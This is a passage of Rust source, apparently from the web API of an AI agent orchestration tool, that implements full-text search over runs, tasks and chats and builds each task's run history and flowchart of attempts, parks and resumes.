5429        // Matched only through a case mapping that changes length: show the head.
5430        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5431        return vec![SnippetPart {
5432            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5433            hit: false,
5434        }];
5435    };
5436    let lo = start.saturating_sub(SNIPPET_BEFORE);
5437    let hi = (start + SNIPPET_AFTER).min(chars.len());
5438    let mut parts: Vec<SnippetPart> = Vec::new();
5439    let mut push = |s: &[char], hit: bool| {
5440        if s.is_empty() {
5441            return;
5442        }
5443        let text: String = s.iter().collect();
5444        match parts.last_mut() {
5445            Some(p) if p.hit == hit => p.text.push_str(&text),
5446            _ => parts.push(SnippetPart { text, hit }),
5447        }
5448    };
5449    if lo > 0 {
5450        push(&['\u{2026}'], false);
5451    }
5452    let mut at = lo;
5453    while at < hi {
5454        match find(at, hi) {
5455            Some((s, e)) => {
5456                push(&chars[at..s], false);
5457                // A match running past the window is shown up to its edge.
5458                let shown = e.min(hi);
5459                push(&chars[s..shown], true);
5460                at = shown;
5461            }
5462            None => {
5463                push(&chars[at..hi], false);
5464                at = hi;
5465            }
5466        }
5467    }
5468    if hi < chars.len() {
5469        push(&['\u{2026}'], false);
5470    }
5471    // Collapse whitespace (newlines in an instruction) without disturbing the
5472    // hit boundaries.
5473    let mut prev_space = false;
5474    for p in &mut parts {
5475        let mut out = String::with_capacity(p.text.len());
5476        for c in p.text.chars() {
5477            if c.is_whitespace() {
5478                if !prev_space {
5479                    out.push(' ');
5480                }
5481                prev_space = true;
5482            } else {
5483                out.push(c);
5484                prev_space = false;
5485            }
5486        }
5487        p.text = out;
5488    }
5489    parts.retain(|p| !p.text.is_empty());
5490    parts
5491}
5492
5493/// The search over `docs` (id, document), newest first, capped.
5494fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5495where
5496    I: IntoIterator<Item = (String, serde_json::Value)>,
5497{
5498    for (id, doc) in docs {
5499        let mut leaves = Vec::new();
5500        // The id is text an operator types too, and it is a map key on disk,
5501        // not a leaf.
5502        leaves.push(("id", id.as_str()));
5503        text_leaves(&doc, "", &mut leaves);
5504        if let Some(mut hit) = search_document(terms, &leaves) {
5505            view.total += 1;
5506            if view.hits.len() < SEARCH_MAX_HITS {
5507                hit.id = id;
5508                view.hits.push(hit);
5509            }
5510        }
5511    }
5512    view.truncated = view.total > view.hits.len();
5513}
5514
5515/// What a conversation is searched by: its list title and each turn's text,
5516/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5517/// (session ids, repo paths, usage, drafts) is part of the document.
5518///
5519/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5520fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5521    let opener = talk
5522        .title
5523        .as_ref()
5524        .filter(|t| !t.text.is_empty())
5525        .map(|t| t.text.as_str())
5526        .or_else(|| {
5527            talk.turns
5528                .iter()
5529                .find(|t| t.who == talk::Who::Operator)
5530                .map(|t| t.body.as_str())
5531        })
5532        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5533        .unwrap_or("");
5534    let title: String = if opener.chars().count() > 96 {
5535        opener.chars().take(95).chain(['\u{2026}']).collect()
5536    } else {
5537        opener.to_owned()
5538    };
5539    let turns: Vec<serde_json::Value> = talk
5540        .turns
5541        .iter()
5542        .map(|t| {
5543            let who = match t.who {
5544                crate::talk::Who::Operator => "operator",
5545                crate::talk::Who::Agent => "agent",
5546            };
5547            serde_json::json!({ who: t.body })
5548        })
5549        .collect();
5550    serde_json::json!({ "title": title, "turns": turns })
5551}
5552
5553/// Read-only full-text search over every run's `run.json`, every task or every
5554/// conversation (title and transcript).
5555///
5556/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5557/// record from an older schema still searches; only a file that is not JSON
5558/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5559async fn search_get(
5560    State(ui): State<Arc<Ui>>,
5561    Query(q): Query<SearchQuery>,
5562) -> ApiResult<Json<SearchView>> {
5563    let query = q.q.trim().to_owned();
5564    if query.is_empty() {
5565        return Err(ApiError::bad_request("q must not be empty"));
5566    }
5567    if query.chars().count() > SEARCH_MAX_QUERY {
5568        return Err(ApiError::bad_request(format!(
5569            "q is longer than {SEARCH_MAX_QUERY} characters"
5570        )));
5571    }
5572    let terms = search_terms(&query);
5573    if terms.len() > SEARCH_MAX_TERMS {
5574        return Err(ApiError::bad_request(format!(
5575            "q has more than {SEARCH_MAX_TERMS} terms"
5576        )));
5577    }
5578    let scope = q.scope;
5579    if scope != "runs" && scope != "tasks" && scope != "chats" {
5580        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5581    }
5582    blocking(move || {
5583        let mut view = SearchView {
5584            scope: scope.clone(),
5585            q: query,
5586            hits: Vec::new(),
5587            total: 0,
5588            truncated: false,
5589            unreadable: 0,
5590        };
5591        if scope == "runs" {
5592            let mut unreadable = 0;
5593            // One run.json is read, matched and dropped at a time; nothing
5594            // holds the whole history. The scan runs to the end even past the
5595            // hit cap so `total` and `unreadable` stay exact.
5596            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5597                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5598                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5599                    Some(v) => Some((id, v)),
5600                    None => {
5601                        unreadable += 1;
5602                        None
5603                    }
5604                }
5605            });
5606            search_docs(&terms, docs, &mut view);
5607            view.unreadable = unreadable;
5608            // Only the capped hits get a row: the filters need a run's state,
5609            // and reading every match would be the whole history again.
5610            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5611            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5612            for hit in &mut view.hits {
5613                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5614                    hit.run = summarize(
5615                        [state],
5616                        &open_runs,
5617                        &claimed,
5618                        &superseded,
5619                        |p| probe.borrow_mut().status(p),
5620                        |p| probe.borrow_mut().started_at(p),
5621                    )
5622                    .pop();
5623                }
5624            }
5625        } else if scope == "chats" {
5626            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5627            view.unreadable = unreadable;
5628            search_docs(
5629                &terms,
5630                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5631                &mut view,
5632            );
5633        } else {
5634            let docs = ui.queue.list().into_iter().filter_map(|t| {
5635                let mut v = serde_json::to_value(&t).ok()?;
5636                // `source` serialises as a tagged object; the label is what
5637                // the operator reads ("human", "chat@a1b2").
5638                if let Some(o) = v.as_object_mut() {
5639                    o.insert("filed_by".to_owned(), t.source.label().into());
5640                }
5641                Some((t.id, v))
5642            });
5643            search_docs(&terms, docs, &mut view);
5644        }
5645        Ok(Json(view))
5646    })
5647    .await
5648}
5649
5650/// One attempt in a task's history, as the task page lists it.
5651#[derive(Debug, Serialize)]
5652struct TaskRunView {
5653    /// 1-based position in [`Task::runs`].
5654    n: usize,
5655    id: String,
5656    short: String,
5657    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5658    kind: &'static str,
5659    /// The run's own status string; `None` when its record cannot be read.
5660    status: Option<&'static str>,
5661    /// Whether this build could read the run's record. Counted, never hidden.
5662    readable: bool,
5663    /// A verdict from a collapsed panel is provisional, never a decision.
5664    provisional: bool,
5665    /// What kind of attempt this was, in one line.
5666    description: String,
5667    /// How it ended and why the task moved on (or what it is doing now).
5668    outcome: String,
5669    created_at: Option<Timestamp>,
5670    pr: Option<String>,
5671    /// Why this pass ended, classified once; the flowchart is built from it.
5672    exit: RunExit,
5673    /// What the pass did to the task's attempt budget.
5674    attempt: AttemptCost,
5675    /// Edge wording for leaving this entry; names the recorded cause when
5676    /// there is one.
5677    exit_label: String,
5678    /// The position of a later entry for the same run: this entry is an
5679    /// earlier pass of it.
5680    later_pass: Option<usize>,
5681    /// Which pass over the run this entry is (1-based) and how many entries
5682    /// the task lists for the run. Counted from the list, so known even for
5683    /// a legacy record.
5684    pass_n: usize,
5685    passes_of_run: usize,
5686    /// What the run recorded about this pass; `None` for a record from before
5687    /// passes were kept, whose cause stays unknown.
5688    pass: Option<PassView>,
5689    /// The branch a review-only run reopened.
5690    branch: Option<String>,
5691    /// The badge word when it differs from `status` (`stale` / `superseded`);
5692    /// filled by the task route, which can see liveness and later attempts.
5693    badge: Option<String>,
5694}
5695
5696/// One recorded pass over a run, for the wire.
5697#[derive(Debug, Clone, PartialEq, Serialize)]
5698struct PassView {
5699    index: usize,
5700    resumed: bool,
5701    started_at: Timestamp,
5702    ended_at: Option<Timestamp>,
5703    /// `open`, `parked` or `unrecorded`.
5704    end: &'static str,
5705    cause: Option<crate::run::ParkCause>,
5706    /// One line: why it stopped, or that nobody recorded why.
5707    label: String,
5708    /// What the task recorded for this pass; `None` when it was not settled
5709    /// (or settled by a build that kept no record).
5710    cost: Option<crate::queue::PassCost>,
5711}
5712
5713impl PassView {
5714    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5715        use crate::run::PassEnd;
5716        let (end, cause, label) = match &p.end {
5717            None => ("open", None, "still open".to_owned()),
5718            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5719            Some(PassEnd::Unrecorded) => (
5720                "unrecorded",
5721                None,
5722                "stopped without recording why (a crash, a kill or a restart; not known)"
5723                    .to_owned(),
5724            ),
5725        };
5726        Self {
5727            index: p.index,
5728            resumed: p.resumed,
5729            started_at: p.started_at,
5730            ended_at: p.ended_at,
5731            end,
5732            cause,
5733            label,
5734            cost: settled.map(|t| t.cost),
5735        }
5736    }
5737}
5738
5739/// How one pass over a run ended, as far as the task's life is concerned.
5740#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5741#[serde(rename_all = "snake_case")]
5742enum RunExit {
5743    Unreadable,
5744    /// An earlier pass of a run id that appears again: it stopped short.
5745    Interrupted,
5746    Parked,
5747    QuotaStall,
5748    /// Stalled on a resumed pass with quota losses on record: they may be
5749    /// left over from an earlier pass, so whether this one was refunded is
5750    /// not knowable.
5751    ResumedQuotaStall,
5752    Merged,
5753    Ready,
5754    Superseded,
5755    /// The change was already on the base under other commits: the task
5756    /// finished without this run landing anything.
5757    AlreadyInBase,
5758    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5759    Stalled,
5760    /// Blocked / no-op with a pull request left open: held for a person.
5761    HeldWithPr,
5762    NoopHeld,
5763    /// Blocked or failed: the attempt is spent and the task retries or holds.
5764    Spent,
5765    InProgress,
5766}
5767
5768#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5769#[serde(rename_all = "snake_case")]
5770enum AttemptCost {
5771    Spent,
5772    Refunded,
5773    None,
5774    /// Cannot be told from the records that remain.
5775    Unknown,
5776}
5777
5778impl RunExit {
5779    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5780        let Some(s) = s else {
5781            return Self::Unreadable;
5782        };
5783        let status = s.status;
5784        if resumed_later {
5785            Self::Interrupted
5786        } else if s.parked {
5787            Self::Parked
5788        } else if !status.done() {
5789            Self::InProgress
5790        } else if matches!(status, RunStatus::Merged) {
5791            Self::Merged
5792        } else if matches!(status, RunStatus::Ready) {
5793            Self::Ready
5794        } else if matches!(status, RunStatus::Superseded) {
5795            Self::Superseded
5796        } else if matches!(status, RunStatus::AlreadyInBase) {
5797            Self::AlreadyInBase
5798        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5799            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5800        {
5801            if resumed {
5802                Self::ResumedQuotaStall
5803            } else {
5804                Self::QuotaStall
5805            }
5806        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5807            Self::HeldWithPr
5808        } else if matches!(status, RunStatus::VerifiedNoop) {
5809            Self::NoopHeld
5810        } else if matches!(status, RunStatus::Stalled) {
5811            Self::Stalled
5812        } else {
5813            Self::Spent
5814        }
5815    }
5816
5817    fn cost(self) -> AttemptCost {
5818        match self {
5819            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5820            Self::Merged
5821            | Self::Ready
5822            | Self::Stalled
5823            | Self::HeldWithPr
5824            | Self::NoopHeld
5825            | Self::Spent => AttemptCost::Spent,
5826            Self::InProgress => AttemptCost::None,
5827            Self::AlreadyInBase => AttemptCost::Refunded,
5828            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5829                AttemptCost::Unknown
5830            }
5831        }
5832    }
5833
5834    /// Short edge wording for leaving a run this way.
5835    fn edge_label(self, status: Option<&str>) -> String {
5836        match self {
5837            Self::Unreadable => "record unreadable".to_owned(),
5838            Self::Interrupted => "interrupted before the run finished".to_owned(),
5839            Self::Parked => "parked, attempt refunded".to_owned(),
5840            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5841            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5842            Self::Merged => "merged".to_owned(),
5843            Self::Ready => "ready, not merged".to_owned(),
5844            Self::Superseded => "superseded by a later attempt".to_owned(),
5845            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5846            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5847            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5848            Self::NoopHeld => "verified no-op".to_owned(),
5849            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5850            Self::InProgress => "in progress".to_owned(),
5851        }
5852    }
5853
5854    /// Does a task in `end` follow from a run that ended this way? When not,
5855    /// somebody closed or held the task by hand.
5856    fn explains(self, end: TaskStatus) -> bool {
5857        match self {
5858            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5859            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5860            Self::Unreadable | Self::Superseded | Self::Ready => true,
5861            _ => end != TaskStatus::Done,
5862        }
5863    }
5864}
5865
5866/// `GET /api/queue/{id}` - one task with every attempt it went through.
5867#[derive(Debug, Serialize)]
5868struct TaskDetailView {
5869    #[serde(flatten)]
5870    task: TaskView,
5871    /// Task override, or the default daemon budget when inherited.
5872    /// A separate loop's command-line limit is not visible from here.
5873    max_attempts: usize,
5874    history: Vec<TaskRunView>,
5875    /// Entries in `history`: passes over runs, not distinct runs and not
5876    /// attempts consumed (`task.attempts`).
5877    passes_total: usize,
5878    /// Distinct runs those passes belong to.
5879    runs_distinct: usize,
5880    flow: FlowView,
5881    /// Set for a follow-up task; see [`followup_origin`].
5882    followup_origin: Option<FollowUpOrigin>,
5883    /// How many entries of `history` could not be read.
5884    runs_unreadable: usize,
5885    /// Why the attempt count can be lower than the number of runs.
5886    attempts_note: &'static str,
5887}
5888
5889const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5890and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5891on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5892the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5893
5894/// The branch a review-only run reopened, read off the instruction
5895/// `Runner::open_review` writes.
5896fn review_branch_of(instruction: &str) -> Option<&str> {
5897    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5898    rest.split('`').next().filter(|b| !b.is_empty())
5899}
5900
5901/// Where an entry sits in a task's run list.
5902#[derive(Default)]
5903struct RunSlot<'a> {
5904    /// 1-based position.
5905    n: usize,
5906    /// The same run id appeared earlier: this pass resumed it.
5907    resumed: bool,
5908    /// Position of a later pass over the same run id, if any.
5909    resumed_later: Option<usize>,
5910    /// The previous distinct run and how it ended, for the retry note.
5911    prior: Option<(&'a str, RunStatus)>,
5912    last: bool,
5913    /// This pass as the run recorded it, when it did.
5914    pass: Option<&'a crate::run::RunPass>,
5915    /// What the task recorded when it settled this pass.
5916    settled: Option<&'a crate::queue::TaskPass>,
5917    /// 1-based position among the task's entries for this run, and their count.
5918    pass_n: usize,
5919    passes_of_run: usize,
5920}
5921
5922/// Describe one entry of a task's run list. Pure: everything it needs is on
5923/// the run and the task, so it is asserted without a server.
5924fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5925    let RunSlot {
5926        n,
5927        resumed,
5928        resumed_later,
5929        prior,
5930        last,
5931        pass,
5932        settled,
5933        pass_n,
5934        passes_of_run,
5935    } = at;
5936    let short = run::short_of(id).to_owned();
5937    let Some(s) = state else {
5938        return TaskRunView {
5939            n,
5940            id: id.to_owned(),
5941            short,
5942            kind: "unknown",
5943            status: None,
5944            readable: false,
5945            provisional: false,
5946            description:
5947                "This run's record could not be read by this build (written by a different \
5948                          magi, or removed), so what kind of attempt it was is unknown."
5949                    .to_owned(),
5950            outcome: String::new(),
5951            created_at: None,
5952            pr: None,
5953            exit: RunExit::Unreadable,
5954            attempt: AttemptCost::Unknown,
5955            exit_label: RunExit::Unreadable.edge_label(None),
5956            later_pass: resumed_later,
5957            pass_n,
5958            passes_of_run,
5959            pass: None,
5960            branch: None,
5961            badge: None,
5962        };
5963    };
5964    let branch = review_branch_of(&s.instruction);
5965    let kind = if resumed {
5966        "resume"
5967    } else if branch.is_some() {
5968        "review"
5969    } else if task.solo || s.candidates.len() == 1 {
5970        "solo"
5971    } else {
5972        "competition"
5973    };
5974    let mut description = match kind {
5975        "resume" => {
5976            format!("Resumed run {short}: the same run carried on instead of competing again.")
5977        }
5978        "review" => format!(
5979            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5980            branch.unwrap_or_default()
5981        ),
5982        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5983        _ => format!(
5984            "Competition: {} candidates judged blind.",
5985            s.candidates.len().max(1)
5986        ),
5987    };
5988    if !resumed && let Some((p, st)) = prior {
5989        description.push_str(&format!(
5990            " A retry: run {p} before it ended {}.",
5991            st.display_label()
5992        ));
5993    }
5994
5995    let status = s.status;
5996    let provisional = matches!(status, RunStatus::Stalled)
5997        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5998    let head = if resumed_later.is_some() {
5999        String::new()
6000    } else {
6001        match status {
6002            RunStatus::Merged => "Merged.".to_owned(),
6003            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6004            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6005            RunStatus::AlreadyInBase => {
6006                "Already in the base: this change landed under other commits, nothing was left to land."
6007                    .to_owned()
6008            }
6009            RunStatus::Stalled => {
6010                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6011                    .to_owned()
6012            }
6013            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6014            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6015            RunStatus::VerifiedNoop => {
6016                "Verified no-op: the candidates found nothing to change.".to_owned()
6017            }
6018            other if other.done() => format!("Ended {}.", other.display_label()),
6019            other => format!("In progress ({}).", other.display_label()),
6020        }
6021    };
6022    let view = pass.map(|p| PassView::of(p, settled));
6023    let recorded_end = view
6024        .as_ref()
6025        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6026    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6027        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6028        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6029        None => "whether its attempt was handed back was not recorded",
6030    };
6031    let pass_note = if passes_of_run > 1 {
6032        format!(
6033            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6034        )
6035    } else {
6036        String::new()
6037    };
6038    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6039        // The run recorded this pass's end when it happened.
6040        let cause = match v.end {
6041            "parked" => format!("It was stopped on purpose: {}.", v.label),
6042            _ => format!("It {}.", v.label),
6043        };
6044        format!(
6045            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6046            capitalise(cost_words)
6047        )
6048    } else if let Some(k) = resumed_later {
6049        // A run is only picked up again while it is unfinished, so an earlier
6050        // pass of a repeated id stopped short; the record keeps only the run's
6051        // latest status, which is left to the pass that carried it on.
6052        // Only the latest state is recorded: `parked` is cleared on resume
6053        // and `quota` accumulates across passes, so neither says why *this*
6054        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6055        let cause = if s.quota.is_empty() {
6056            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6057        } else {
6058            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6059        };
6060        format!(
6061            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6062        )
6063    } else if s.parked {
6064        match recorded_end.and_then(|v| v.cause.as_ref()) {
6065            Some(cause) => format!(
6066                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6067                cause.label(),
6068                cost_words
6069            ),
6070            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6071                .to_owned(),
6072        }
6073    } else if !status.done()
6074        || matches!(
6075            status,
6076            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6077        )
6078    {
6079        String::new()
6080    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6081        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6082    {
6083        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6084            .to_owned()
6085    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6086        " It left a pull request open, so the task was held for a person rather than retried."
6087            .to_owned()
6088    } else if matches!(status, RunStatus::VerifiedNoop) {
6089        " Held for a person to check the claim.".to_owned()
6090    } else if last {
6091        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6092    } else {
6093        " It spent an attempt, and the task moved on to the next run.".to_owned()
6094    };
6095    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6096    let mut attempt = exit.cost();
6097    let mut exit_label = None;
6098    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6099        let spent = match v.cost {
6100            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6101            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6102            None if resumed_later.is_some() => ", refund not recorded",
6103            None => ", attempt refunded",
6104        };
6105        attempt = match v.cost {
6106            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6107            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6108            None if resumed_later.is_some() => AttemptCost::Unknown,
6109            None => attempt,
6110        };
6111        if v.end == "parked" {
6112            exit = RunExit::Parked;
6113            exit_label = Some(match v.cause.as_ref() {
6114                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6115                    format!("parked for {}{spent}", c.label())
6116                }
6117                Some(c) => format!("parked ({}){spent}", c.label()),
6118                None => format!("parked{spent}"),
6119            });
6120        } else {
6121            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6122        }
6123    }
6124    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6125    TaskRunView {
6126        n,
6127        id: id.to_owned(),
6128        short,
6129        kind,
6130        status: Some(status.as_str()),
6131        readable: true,
6132        provisional,
6133        description,
6134        outcome: format!("{head}{why}"),
6135        created_at: Some(s.created_at),
6136        pr: s.pr.as_ref().map(|p| p.url.clone()),
6137        exit,
6138        attempt,
6139        exit_label,
6140        later_pass: resumed_later,
6141        pass_n,
6142        passes_of_run,
6143        pass: view,
6144        branch: branch.map(str::to_owned),
6145        badge: None,
6146    }
6147}
6148
6149fn capitalise(s: &str) -> String {
6150    let mut c = s.chars();
6151    c.next().map_or_else(String::new, |f| {
6152        f.to_uppercase().collect::<String>() + c.as_str()
6153    })
6154}
6155
6156/// One box of the task's flowchart.
6157#[derive(Debug, Serialize, PartialEq)]
6158struct FlowNode {
6159    /// Unique by position: a resumed run id appears once per pass.
6160    key: String,
6161    /// `chat`, `followup`, `start`, `run` or `end`.
6162    kind: &'static str,
6163    label: String,
6164    /// Run status (or the task's, for `end`); `None` when it is not a fact
6165    /// about this box (unreadable, or a pass the run later resumed from).
6166    status: Option<&'static str>,
6167    /// Whose status `status` is, so the client picks the right colour table:
6168    /// `task` (the `followup` parent and `end`) or `run`.
6169    status_of: &'static str,
6170    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6171    note: Option<&'static str>,
6172    run_kind: Option<&'static str>,
6173    detail: Option<String>,
6174    /// A readable run with a real verdict; a stall never is.
6175    decided: bool,
6176    readable: bool,
6177    href: Option<String>,
6178    /// Overrides `status` as the badge word (`stale` / `superseded`).
6179    badge: Option<String>,
6180    /// Start of this entry, never the run's latest update or pass settlement.
6181    started_at: Option<Timestamp>,
6182    /// Context links (chat / follow-up) do not represent execution entries.
6183    time_expected: bool,
6184}
6185
6186#[derive(Debug, Serialize, PartialEq)]
6187struct FlowEdge {
6188    from: String,
6189    to: String,
6190    label: String,
6191    attempt: AttemptCost,
6192}
6193
6194#[derive(Debug, Serialize, PartialEq)]
6195struct FlowView {
6196    nodes: Vec<FlowNode>,
6197    edges: Vec<FlowEdge>,
6198    /// Attempts the task has counted since it was last released.
6199    attempts: usize,
6200    max_attempts: usize,
6201    /// Entries in the run list (passes), and how many distinct runs they are.
6202    /// Neither is the number of attempts consumed.
6203    passes: usize,
6204    runs: usize,
6205}
6206
6207/// Turn a task and its described runs into the flowchart's boxes and arrows.
6208/// Pure: the page only draws what this returns.
6209///
6210/// A follow-up opens with its parent (or the merged run) unless the task's
6211/// *source* is itself a chat, in which case the chat stays first and the
6212/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6213/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6214/// two normally do not coincide and the nearer origin wins.
6215fn task_flow(
6216    task: &Task,
6217    history: &[TaskRunView],
6218    max_attempts: usize,
6219    origin: Option<&FollowUpOrigin>,
6220) -> FlowView {
6221    let max_attempts = task.effective_attempt_limit(max_attempts);
6222    let node = |key: &str, kind, label: String| FlowNode {
6223        key: key.to_owned(),
6224        kind,
6225        label,
6226        status: None,
6227        status_of: "run",
6228        note: None,
6229        run_kind: None,
6230        detail: None,
6231        decided: false,
6232        readable: true,
6233        href: None,
6234        badge: None,
6235        started_at: None,
6236        time_expected: matches!(kind, "start" | "run" | "end"),
6237    };
6238    let mut nodes = Vec::new();
6239    let mut edges: Vec<FlowEdge> = Vec::new();
6240    // A task queued from a chat opens the flow with that conversation.
6241    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6242        let mut n = node(
6243            "chat",
6244            "chat",
6245            format!("Chat {}", crate::queue::short(&link.id)),
6246        );
6247        n.href = Some(link.href);
6248        nodes.push(n);
6249        edges.push(FlowEdge {
6250            from: "chat".to_owned(),
6251            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6252            label: "queued from chat".to_owned(),
6253            attempt: AttemptCost::None,
6254        });
6255    }
6256    if let Some(o) = origin {
6257        let mut n = match &o.parent {
6258            Some(p) => {
6259                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6260                n.status = Some(p.status);
6261                n.status_of = "task";
6262                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6263                n.href = Some(p.href.clone());
6264                n
6265            }
6266            None => {
6267                let mut n = node(
6268                    "origin",
6269                    "followup",
6270                    format!("Follow-up of run {}", o.run.short),
6271                );
6272                n.detail = Some("merged run".to_owned());
6273                n.status = o.run.status;
6274                n.href = o.run.href.clone();
6275                if o.run.href.is_none() {
6276                    n.readable = false;
6277                    n.note = Some("unreadable");
6278                }
6279                n
6280            }
6281        };
6282        n.decided = true;
6283        let from = n.key.clone();
6284        nodes.push(n);
6285        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6286        let more = o.findings.len().saturating_sub(shown.len());
6287        let label = match (shown.is_empty(), more) {
6288            (true, _) => "open findings".to_owned(),
6289            (false, 0) => format!("open findings {}", shown.join(", ")),
6290            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6291        };
6292        edges.push(FlowEdge {
6293            from,
6294            to: "start".to_owned(),
6295            label,
6296            attempt: AttemptCost::None,
6297        });
6298    }
6299    let mut start = node("start", "start", "Task queued".to_owned());
6300    start.started_at = Some(task.created_at);
6301    nodes.push(start);
6302    let mut prev = "start".to_owned();
6303    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6304    for (i, h) in history.iter().enumerate() {
6305        let key = format!("run-{}", h.n);
6306        let mut n = node(&key, "run", format!("Run {}", h.short));
6307        // Creation marks only the first pass of legacy runs. A resumed pass
6308        // without a record must not inherit the original run's start time.
6309        n.started_at = h
6310            .readable
6311            .then(|| {
6312                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6313                    h.created_at
6314                } else {
6315                    None
6316                })
6317            })
6318            .flatten();
6319        n.run_kind = Some(h.kind);
6320        n.readable = h.readable;
6321        n.href = Some(format!("#/runs/{}", h.id));
6322        n.decided = h.readable && !h.provisional;
6323        n.detail = h
6324            .branch
6325            .as_ref()
6326            .map(|b| format!("review-only run of branch {b}"));
6327        match h.exit {
6328            RunExit::Unreadable => n.note = Some("unreadable"),
6329            RunExit::Interrupted => n.note = Some("interrupted"),
6330            // An earlier pass the run recorded as parked: the status shown
6331            // would be the run's current one, not this pass's.
6332            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6333            _ => {
6334                n.status = h.status;
6335                n.badge = h.badge.clone();
6336                if h.provisional {
6337                    n.note = Some("no verdict");
6338                }
6339            }
6340        }
6341        let into = match h.kind {
6342            "review" => Some(format!(
6343                "review-only run of branch {}",
6344                h.branch.as_deref().unwrap_or("?")
6345            )),
6346            "resume" => Some("resume the same run".to_owned()),
6347            _ if i > 0 => Some("retry".to_owned()),
6348            _ => None,
6349        };
